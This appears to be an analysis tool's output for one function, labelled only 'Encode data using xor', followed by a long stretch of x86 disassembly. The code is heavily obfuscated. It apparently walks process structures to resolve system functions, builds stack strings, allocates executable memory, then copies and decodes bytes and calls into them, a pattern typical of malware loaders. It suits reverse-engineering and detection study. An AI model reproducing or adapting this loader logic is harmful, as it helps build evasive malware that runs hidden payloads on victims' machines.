Function at 0x440b13
Capabilities:
Encode data using xor

Disassembly:
mov edx, ebx
mov ecx, edx
mov edx, ecx
mov eax, edx
mov ecx, 4
sub esp, ecx
mov dword [esp], eax
mov edx, 0x337daba0
xor edx, 0x337daba4
sub esp, edx
mov eax, esp
push eax
pop ecx
mov dword [ecx], edi
xor ebx, ebx
add ebx, esi
push ebx
pop eax
add esp, 0xfffffffc
mov dword [esp], eax
mov edx, 0x767eb191
add edx, 0x40
push edx
mov edx, 0x43705635
mov esi, 0x4dad0247
xor esi, edx
mov edi, 0x78a3e5bb
xor esi, edi
pop ecx
xor esi, ecx
mov edi, dword fs:[esi]
push 0x7e7c5636
mov ebx, 0x6d0905aa
pop edx
xor ebx, edx
push ebx
mov esi, 0x365528c
mov eax, 0x10100120
xor esi, eax
pop ecx
xor esi, ecx
add edi, esi
mov eax, edi
mov esi, 0
add eax, esi
mov ebx, 0xffffffff
add eax, ebx
mov edx, dword [eax + 1]
mov ecx, 0x4af2370b
mov ebx, 0x6aaa198b
xor ebx, ecx
push 0xf5f0cc5d
mov esi, 0x2a571d29
pop edi
xor esi, edi
xor esi, ebx
sub edx, esi
mov eax, dword [edx]
mov edx, 0xfd3d9ceb
add edx, 0x88
push edx
mov esi, 0x672ecb93
xor esi, 0x65eca914
pop ecx
xor esi, ecx
sub eax, esi
mov esi, eax
mov edx, 4
sub esp, edx
mov ecx, 0
xor ecx, esp
mov dword [ecx], esi
pop ebx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], ebx
pop ecx
mov edx, 0
xor edx, ecx
mov esi, 0xfffffffc
add esp, esi
mov dword [esp], edx
xor edx, edx
add edx, ebx
sub edx, 0x54
mov ecx, dword [edx + 0x54]
mov esi, 0
xor esi, ecx
mov edi, 0
xor edi, esi
mov eax, 0xd
sub edi, eax
mov edx, 0x5f4f5dbf
mov esi, 0xa0b0a240
xor esi, edx
add edi, esi
mov ebx, dword [edi + 0xe]
mov eax, 0x4cd91ae4
mov ecx, 0x4cd91ac8
xor ecx, eax
add ebx, ecx
mov ecx, 0x6d986df0
mov edi, 0x6d986df0
xor edi, ecx
xor edi, ebx
mov ecx, 0x6d584ee6
xor ecx, 0x92a7b12b
add edi, ecx
mov esi, 0x648a677c
xor esi, 0x648a677d
sub edi, esi
mov eax, dword [edi + 0x34]
and eax, 0xffff
mov esi, eax
push esi
pop edx
mov ecx, 0
xor ecx, edx
mov esi, 0xffffffff
xor ecx, esi
and ecx, 0xffffffff
and edx, 0
or edx, ecx
and edx, 0x18
and eax, 0xffffffe7
or eax, edx
mov ecx, eax
add ecx, 0
jne 0x4409f9
mov edi, 0x122080
mov eax, 0x984080c
xor edi, eax
mov ecx, 0x6ad81b20
xor ecx, 0x9cb1cc50
xor edi, ecx
sub ebx, edi
push ebx
pop esi
xor eax, eax
add eax, esi
mov edx, 0x24a42f01
mov ecx, 0xdb5bd088
xor edx, ecx
add eax, edx
mov ecx, 0x28c4a19f
xor ecx, 0x28c4a19e
sub eax, ecx
mov edi, dword [eax + 0x78]
mov ecx, 0xeb46945
mov esi, 0xf14b96b9
xor esi, ecx
add esp, esi
mov ebx, esp
push ebx
pop eax
mov dword [eax], edi
mov ebx, edi
xor ecx, ecx
add ecx, ebx
dec ecx
mov eax, dword [ecx + 1]
and eax, 0xff
push 0x6eec14dd
mov edi, 0x2a82adea
pop ecx
xor edi, ecx
push edi
push 0x606b072b
mov esi, 0x69224f8f
pop edi
xor esi, edi
pop ebx
xor esi, ebx
xor eax, esi
mov ebx, 0x6ae661b0
mov edi, 0x568dff16
xor edi, ebx
xor eax, edi
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0x714c6f5e
and eax, 0x8eb390a1
or eax, ebx
cmp eax, 0
je 0x4408dc
mov edx, 0x4436efa7
xor edx, 0x1a0a77cb
push edx
push 0x3dca8919
mov ebx, 0x63f61155
pop edi
xor ebx, edi
pop ecx
xor ebx, ecx
xor eax, ebx
cmp eax, 0
jne 0x4409f8
pop esi
mov eax, 0x612f3304
mov edi, 0x4a7e3947
xor edi, eax
push 0x1ce111c5
mov edx, 0x37b01b80
pop ecx
xor edx, ecx
xor edx, edi
add esi, edx
push 0x42c00c3f
mov edi, 0x42c00c3b
pop eax
xor edi, eax
sub esp, edi
push esp
pop ebx
xor edx, edx
add edx, ebx
mov dword [edx], esi
xor ecx, ecx
add ecx, esi
xor edx, edx
add edx, ecx
mov ecx, 1
sub edx, ecx
mov edi, dword [edx + 1]
and edi, 0xff
mov ecx, 0x538fc36f
mov eax, 0x538fc325
xor eax, ecx
mov ebx, 4
mov ecx, 0
xor ebx, ecx
xor eax, ebx
xor edi, eax
cmp edi, 0
je 0x440993
mov esi, edi
push esi
pop eax
mov edx, 0xfbedfe1
mov ecx, 0x974363a7
xor ecx, edx
xor eax, ecx
mov ebx, 0x5538ea93
xor eax, ebx
xor eax, 0x323aa92a
and eax, 0x20
and edi, 0xffffffdf
or edi, eax
xor edx, edx
add edx, edi
mov ecx, edx
add esp, 0xfffffffc
mov dword [esp], ecx
pop eax
or eax, edi
jne 0x4409f8
pop edx
mov eax, 0x3c169ef
xor eax, 0x670a4735
mov esi, 0x203d7a00
mov edi, 0xbb09ab20
xor edi, esi
xor eax, edi
sub edx, eax
xor edi, edi
add edi, edx
sub edi, 0x18
mov esi, dword [edi + 0x18]
mov eax, 0x46ea2be
mov ebx, 0x1f0cc324
xor ebx, eax
mov edx, 0x33686a9d
xor edx, 0x6f569e24
xor edx, ebx
xor esi, edx
push 0x5473b5ba
mov edi, 0x131d20aa
pop ecx
xor edi, ecx
xor esi, edi
xor ebx, ebx
add ebx, esi
or ebx, 0
je 0x440a31
jmp 0x4409f9
pop ebx
pop edi
xor ecx, ecx
add ecx, edi
mov ebx, 0x19
mov edx, 0x26
xor ebx, edx
sub ecx, ebx
mov edx, 0x681f6667
mov ebx, 0x681f6666
xor ebx, edx
sub ecx, ebx
mov eax, dword [ecx + 0x40]
xor ebx, ebx
add ebx, eax
mov edx, ebx
mov ecx, edx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
jmp 0x44073d
pop edx
mov ecx, edx
mov eax, 0
xor eax, ecx
sub eax, 0xffffffb3
mov edi, dword [eax - 0x4d]
xor ebx, ebx
add ebx, edi
mov ecx, 0x1ea28d44
mov edx, 0xe15d7280
xor ecx, edx
sub ebx, ecx
mov ecx, 0xffffffff
add ebx, ecx
mov eax, dword [ebx - 0x3b]
mov edx, 0x437300fc
xor edx, 0x5b8f38e2
mov esi, edx
xor esi, 0xffffffff
and esi, 0x18fc3806
and edx, 0xe703c7f9
or edx, esi
add eax, edx
mov edx, 0
xor edx, eax
push edx
pop ecx
sub ecx, 0x53
mov ebx, dword [ecx + 0x53]
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
pop esi
mov ecx, 4
sub esp, ecx
push esp
pop edi
mov dword [edi], esi
push 0x162965cf
mov edx, 0x6e0df408
pop esi
xor edx, esi
mov ecx, 0x2d0f7ee3
xor ecx, 0x552bef24
xor ecx, edx
xor ecx, ebx
mov edx, 0x80d000
mov edi, 0x9250a80
xor edx, edi
mov esi, 0x56100004
mov edi, 0xa04a2540
xor esi, edi
xor edx, esi
sub ecx, edx
mov edi, ecx
sub edi, 0xffffffcf
mov ebx, dword [edi - 0x31]
xor edx, edx
add edx, esp
xor ecx, ecx
add ecx, edx
sub ecx, 0xffffffee
mov esi, dword [ecx - 0x12]
add ebx, esi
mov esi, 0x40820249
mov edi, 0x82cc412
xor esi, edi
push esi
push 0x47e6192c
mov eax, 0xf48df0f
pop edx
xor eax, edx
pop ecx
xor eax, ecx
add ebx, eax
push ebx
pop edx
mov esi, edx
mov ecx, esi
sub ecx, 0xffffffd3
mov ebx, dword [ecx - 0x2d]
mov eax, esp
mov ecx, 0xffffffff
add eax, ecx
mov edi, dword [eax + 1]
add ebx, edi
mov esi, 0xdcfaf0ff
add esi, 9
push esi
mov esi, 0x578088d1
mov ecx, 0x74858639
xor ecx, esi
pop edx
xor ecx, edx
sub ebx, ecx
push 0x280196af
mov esi, 0x3a9142a0
pop edi
xor esi, edi
mov edx, 0x78168aab
mov ecx, 0x1c3e8a5b
xor ecx, edx
xor esi, ecx
push 0xf020d03f
mov edi, 0x7967fb3c
pop eax
xor edi, eax
xor esi, edi
add esi, ebx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], esi
pop edi
sub edi, 3
mov esi, dword [edi + 3]
mov edx, esp
mov eax, edx
push eax
pop edi
sub edi, 0xe
mov ecx, dword [edi + 0xe]
add esi, ecx
mov eax, esi
mov edx, eax
xor edi, edi
add edi, edx
mov eax, 0
xor eax, edi
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], eax
push 0x29af08a2
mov ecx, 0x5530c887
pop edi
xor ecx, edi
push ecx
mov edi, 0x602614ec
mov esi, 0x38ad54cd
xor esi, edi
mov edi, 0x2b6ba006
mov ecx, 0xf7f2006
xor ecx, edi
xor esi, ecx
pop edx
xor esi, edx
add esi, ebx
mov esi, dword [esi]
mov ecx, dword [esp + 4]
add esi, ecx
mov edi, esi
push edi
pop edx
push edx
pop ecx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
mov ecx, 0
xor ecx, ebx
mov eax, ecx
mov edi, eax
mov esi, 0x5e
sub edi, esi
mov ecx, 0x7e14841c
xor ecx, 0x7e14841d
sub edi, ecx
mov ebx, dword [edi + 0x5f]
mov ecx, dword [esp + 8]
add ebx, ecx
mov ecx, dword [ebx]
mov edx, dword [esp + 8]
add ecx, edx
push 0x29fbaf54
mov edx, 0x2c77499f
pop edi
xor edx, edi
mov edi, 0x20f5f2f0
mov esi, 0xda86ebc0
xor esi, edi
xor edx, esi
sub ecx, edx
xor edx, edx
add edx, ecx
mov edi, 0x3835818c
xor edi, 0x383581d6
add edx, edi
push 0xddf13848
mov esi, 0x220ec7b7
pop edi
xor esi, edi
add edx, esi
mov ecx, dword [edx - 0x59]
push 0x535a098d
mov esi, 0x530906d9
pop eax
xor esi, eax
push esi
mov edi, 0xc84c893
mov esi, 0x42600000
xor edi, esi
pop edx
xor edi, edx
xor ecx, edi
mov eax, 0x1ff10de5
xor eax, 0x25489440
xor ecx, eax
mov edx, 0x31ee2c96
xor ecx, edx
xor ecx, 0x21a1119b
cmp ecx, 0
je 0x440cf1
mov edi, 0x615a5785
mov ecx, 0x3f3fc212
xor ecx, edi
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa19a6a6b
and ecx, 0x5e659594
or ecx, edx
sub ebx, ecx
pop esi
mov edi, 0xca385db5
add edi, 0xca
push edi
mov ecx, 0x5850100
mov edi, 0x3042a081
xor ecx, edi
pop edx
xor ecx, edx
sub esi, ecx
xor edx, edx
add edx, esi
push edx
pop ecx
mov eax, 0
xor eax, ecx
mov edi, eax
push edi
jmp 0x440c10
pop ebx
xor edx, edx
add edx, ebx
xor edi, edi
add edi, edx
dec edi
mov ebx, dword [edi + 1]
and ebx, 0xffff
add ebx, ebx
mov edi, ebx
add ebx, edi
pop esi
add esi, ebx
mov ecx, esi
sub ecx, 0xffffffcd
mov esi, dword [ecx - 0x33]
pop edx
add esi, edx
mov ebx, esi
mov eax, ebx
push eax
pop edi
mov eax, 0xd3669fb
xor eax, 0xd3669ff
sub esp, eax
mov dword [esp], edi
mov edi, 0xf7190f8
xor edi, 0xe8bb69f8
push edi
mov edi, 0x4589565
xor edi, 0x4521e704
push edi
mov edi, 0x72626871
add edi, 0xdb
push edi
push 0x25507e5e
mov eax, 0x41311112
pop edi
xor eax, edi
push eax
xor ebx, ebx
add ebx, esp
xor edi, edi
add edi, ebx
push 0x9a3d6088
mov ecx, 0x65c29f74
pop eax
xor ecx, eax
add esp, ecx
mov dword [esp], edi
xor ebx, ebx
add ebx, edx
push 0xb88c777b
mov ecx, 0x47738887
pop edi
xor ecx, edi
add esp, ecx
mov dword [esp], ebx
call esi
mov ebx, 0x12255800
mov edx, 0x10001a0
xor ebx, edx
mov ecx, 0x28000440
mov esi, 0xc4daa210
xor ecx, esi
xor ebx, ecx
sub esp, ebx
xor esi, esi
add esi, eax
mov ecx, esi
mov edi, ecx
mov edx, 0xfffffffc
add esp, edx
mov dword [esp], edi
call fcn.004411a0
push 0xfe33c78
mov ecx, 0xed325b1
pop edx
xor ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xfecfe637
and ecx, 0x13019c8
or ecx, esi
sub ebx, ecx
mov esi, ebx
mov ecx, esi
mov edi, 0
xor edi, ecx
mov esi, 4
sub esp, esi
mov dword [esp], edi
mov ecx, 0x34789710
add ecx, 0xf0
push ecx
mov ebx, 0x636f6c37
add ebx, 0x35
push ebx
mov ebx, 0x4c0144
mov edx, 0x41206031
xor ebx, edx
push ebx
mov ebx, 0x60222004
mov ecx, 0x14504952
xor ebx, ecx
push ebx
mov ecx, 0x3c0bbb3
add ecx, 0x4d
push ecx
push 0x2c227246
mov edx, 0x1e111e23
pop esi
xor edx, esi
push edx
push 0x7e28677a
mov esi, 0x105a0231
pop edi
xor esi, edi
push esi
mov edi, dword [esp + 0x20]
mov edx, esp
push edx
pop esi
mov ecx, 0x18c77fbe
mov ebx, 0x18c77fba
xor ebx, ecx
sub esp, ebx
mov dword [esp], esi
call edi
push 0x4bc8289a
mov edx, 0x4bc8289a
pop ebx
xor edx, ebx
mov ecx, 0xc
mov ebx, 0
xor ecx, ebx
xor edx, ecx
add esp, edx
mov esi, esp
push esi
pop edi
mov esi, edi
mov edx, esi
add esp, 0xfffffffc
mov dword [esp], edx
push 0x4260430f
mov edx, 0x4260430b
pop esi
xor edx, esi
sub esp, edx
push 0x78779c99
mov ebx, 0x78779c99
pop edi
xor ebx, edi
xor ebx, esp
mov dword [ebx], eax
mov edx, dword [esp + 0x20]
call edx
mov edx, 0
mov ebx, 0
xor edx, ebx
mov edi, 0
mov ebx, 0x10
xor edi, ebx
xor edx, edi
add esp, edx
mov ebx, 0
mov edx, 0x40
xor ebx, edx
push ebx
mov edi, 0xf2b
add edi, 0xd5
push edi
push 0x5a437988
mov edi, 0x5a43914e
pop ebx
xor edi, ebx
push edi
mov ebx, 0x5b7f33e0
xor ebx, 0x5b7f33e0
push ebx
call eax
pop ebx
xor ecx, ecx
add ecx, eax
mov edi, 0x36794318
xor edi, 0xc986bce4
add esp, edi
mov edx, 0x2104a998
mov esi, 0x2104a998
xor esi, edx
xor esi, esp
mov dword [esi], ecx
mov edx, ebx
push edx
pop esi
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], esi
mov edx, 0x4004aa00
mov eax, 0x14400500
xor edx, eax
mov esi, 0x7d0c630e
mov edi, 0xd6b7330e
xor edi, esi
xor edx, edi
sub ebx, edx
push 0x66b7db50
mov edx, 0x66b733ec
pop eax
xor edx, eax
push edx
mov al, byte [ebx]
mov byte [ecx], al
mov edi, 0x49664b08
xor edi, 0x2d9be2fd
mov edx, 0x8000402
mov esi, 0x93025208
xor edx, esi
xor edx, edi
sub ebx, edx
mov esi, 0x5b20e639
add esi, 0x6c
push esi
mov edi, 0x50000224
mov esi, 0xb20e480
xor edi, esi
pop edx
xor edi, edx
add ecx, edi
pop eax
push 0x414cc46c
mov esi, 0x1f9a2d12
pop edx
xor esi, edx
mov edx, 0x1a3a4617
mov edi, 0x44ecaf68
xor edi, edx
xor edi, esi
sub eax, edi
mov edx, 0x31e83478
xor edx, 0x31e83478
xor edx, eax
mov esi, 0
xor esi, edx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], esi
xor edx, edx
add edx, eax
and edx, 0xffffffff
jne 0x440f70
pop ebx
mov edx, 0x2a744a98
add edx, 0xcb
push edx
push 0x575d9185
mov eax, 0x55791059
pop esi
xor eax, esi
push 0x35ac6802
mov edi, 0x1dfc4a01
pop esi
xor edi, esi
xor eax, edi
pop ecx
xor eax, ecx
pop ebx
pop esi
mov ecx, 0xf2ab35d8
add ecx, 0xf0
push ecx
mov ecx, 0x6b063f19
mov edx, 0x66521e94
xor edx, ecx
pop edi
xor edx, edi
sub esi, edx
mov edi, eax
mov ecx, 0
xor ecx, edi
mov edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
mov ecx, 0x167ec148
mov edx, 0xe9813eb4
xor ecx, edx
add esp, ecx
xor ecx, ecx
add ecx, esp
mov edi, 0
xor edi, ecx
mov dword [edi], ebx
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], esi
pop edi
mov ecx, edi
mov edx, 0xfffffffc
add esp, edx
mov dword [esp], ecx
xor eax, eax
mov al, byte [esi]
add ebx, eax
mov al, byte [ebx]
pop esi
pop ebx
mov byte [esi], al
mov ecx, 0x46b36272
xor ecx, 0x46b36273
mov edx, 0
mov edi, 0
xor edx, edi
xor ecx, edx
sub esi, ecx
pop eax
push 0x2e8b5da6
mov edi, 0x7c5bc1ac
pop ecx
xor edi, ecx
mov edx, 0xad2f63f5
xor edi, edx
add eax, edi
mov edi, 0
mov ecx, 0
xor edi, ecx
xor edi, eax
mov edx, 0
mov ecx, 0
xor edx, ecx
xor edx, edi
or edx, edx
jne 0x441040
mov edi, 0x1d1bd62d
xor edi, 0x587e20cf
mov ebx, 0xe18d7b86
xor edi, ebx
xor edi, 0x5b17729b
sub esi, edi
push 0x64297194
mov ebx, 0x64297190
pop edi
xor ebx, edi
sub esp, ebx
mov ebx, 0x7bf42886
mov eax, 0x7bf42886
xor eax, ebx
xor eax, esp
mov dword [eax], esi
pop eax
call eax
push 0x3472a481
mov eax, 0x36328ea1
pop edx
xor eax, edx
mov edx, 0x34575329
mov ecx, 0x4075d331
xor ecx, edx
xor eax, ecx
pop esi
mov edx, 0x170499ee
xor edx, 0x8aa99fc
push edx
mov edx, 0x74dd3d83
mov eax, 0x199a609e
xor eax, edx
pop ecx
xor eax, ecx
pop edi
mov ecx, 0x79f29bbf
xor ecx, 0x19272980
push ecx
mov eax, 0x249040c9
mov ecx, 0x500a1110
xor eax, ecx
pop edx
xor eax, edx
pop ebx
ret